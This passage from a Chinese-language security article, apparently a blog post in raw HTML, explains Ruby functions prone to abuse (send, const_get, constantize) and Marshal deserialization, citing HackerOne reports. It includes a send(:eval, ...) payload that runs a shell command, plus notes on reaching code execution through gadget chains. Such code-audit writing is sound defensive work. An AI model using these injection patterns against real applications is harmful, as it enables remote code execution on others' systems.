宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">send</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">:eval</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#34;`touch
/tmp/niubl`&#34;</span></p><h5 style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">__send__()函数</span></strong></h5><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">__send__()函数和send函数一样，区别在于当代码有send同名函数时，可以调用__send__()。</span></p><h5 style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">public_send()函数</span></strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"></span></h5><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">public_send()和send()函数的区别在于send()可以调用私有方法。</span><span style="letter-spacing: 0.544px;"></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">send()函数引发的Ruby安全问题：</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><a href="https://hackerone.com/reports/327512" target="_blank">https://hackerone.com/reports/327512</a></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">搜索一些不安全的用法：</span><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="390" data-backw="578" data-galleryid="" data-ratio="0.6743986254295533" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1164" src="https://wechat2rss.xlab.app/img-proxy/?k=0f2c7f39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5Y3AklCwNWNyMBAGVHxEJ1pxc2cXQDHprewZPibP7rDw4TAsqIvZEhsA%2F640%3Fwx_fmt%3Dpng"/></p><h5 style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">const_get()函数</span></strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"></span></h5><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">const_get()函数是Ruby用来在模块中获取常量值的函数，它存在一个inherit参数，当设置为true时（默认也为true），会递归向祖先模块查找。它还有另外一个用法，就是当字符串是已载入的类名时，会返回这个类（Ruby中，类名也是常量），类似JAVA的forName函数，常用写法是这样：</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="389" data-backw="578" data-galleryid="" data-ratio="0.6729776247848537" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1162" src="https://wechat2rss.xlab.app/img-proxy/?k=c198e644&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5nXBV6ddc2gic0rVCrE7ibhYo5PhBcA4FYnrlpEXIegyAAx5PKr8mgtKw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">代码中，使用const_get动态实例化了类，使Ruby更为灵活。但是这样的用法如果使用不当，也会出现安全问题，例如这里（rack-proxy模块）：</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><img class="rich_pages wxw-img" data-backh="194" data-backw="578" data-ratio="0.3352601156069364" style="width: 100%;height: auto;" data-type="png" data-w="865" src="https://wechat2rss.xlab.app/img-proxy/?k=009ae218&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW51piaM9Isa8iapQ46QIGO9tbqt1E107XlJsKosjvA1YuW4tgRlJAhuwXw%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">如图，perform_request()函数在Net::HTTP模块中搜索HTTP方法类，然后实例化，并传递full_path请求路径参数给new()函数，HTTP方法和请求路径都是外部可控的，而且const_get()函数没有限制inherit，默认可以递归查找，在整个空间内实例化任意已载入类，并传递一个可控参数。如果找到合适的利用链，完全可以到达任意代码执行。目前，<span style="color: rgb(23, 26, 29);font-family: &#34;Microsoft YaHei&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif, Tahoma, &#34;Segoe UI Symbol&#34;, &#34;Myanmar Text&#34;, 微软雅黑;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">该问题已在GitHub上被发现并修复。</span></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><img class="rich_pages wxw-img" data-backh="260" data-backw="578" data-ratio="0.44971098265895953" style="width: 100%;height: auto;" data-type="png" data-w="865" src="https://wechat2rss.xlab.app/img-proxy/?k=e370019b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5ibNUC2FQaEXDNZSgIW9Z9TKiakFvAfRIQSdaz0BDtiacPnO55lx9b0VKg%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">实战中已经有人使用此方法实现了代码执行，那就是gitlab的一个漏洞</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"><a href="https://hackerone.com/reports/1125425" target="_blank">https://hackerone.com/reports/1125425</a></span><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">， kramdown模块使用const_get()函数来动态实例化格式化类，但是没有限制inherit，导致vakzz通过使用一个Redis类的利用链达到了任意代码执行的目的，漏洞报告已经写的非常详细，不再赘述。</span></p><h5 style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">constantize()</span></strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"></span></h5><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">constantize同样可以将字符串转化为类，属于RubyonRails中的用法，底层调用的const_get()函数：</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">   </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">def</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">constantize</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">camel_cased_word</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
  </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:
Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Object</span><span lang="EN-US" style="mso-bidi-font-size:
10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:
宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">const_get</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">camel_cased_word</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">   </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">end</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">下图中constantize要转化的类和类实例化的参数都可控，如果我们能找到合适的利用链，便可以到达任意代码执行：</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="322" data-backw="578" data-galleryid="" data-ratio="0.5564516129032258" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="868" src="https://wechat2rss.xlab.app/img-proxy/?k=067b424c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW59A53AyoEKX31uWtPyjxo9Kj68BJu8Puqr5JZJ3rCcQ4L0WIgWrvCOQ%2F640%3Fwx_fmt%3Dpng"/></p><h4 style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">反序列化漏洞</span></strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"></span></h4><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">反序列化漏洞是指在把外部传入的不可信字节序列恢复为对象的过程中，未做合适校验，导致攻击者可以利用特定方法，配合利用链，达到任意代码执行的目的。Ruby也有反序列化的函数，同样也存在反序列化漏洞。</span></p><h5 style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">Marshal反序列化</span></strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"></span></h5><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">Marshal是Ruby用来序列反序列化的模块，Marshal.dump()可以把一个对象序列化为字节序，Marshal.load()可以把一个字节序反序列化为对象。</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">Marshal反序列化的利用已有很多篇分析文章，不再赘述。</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: 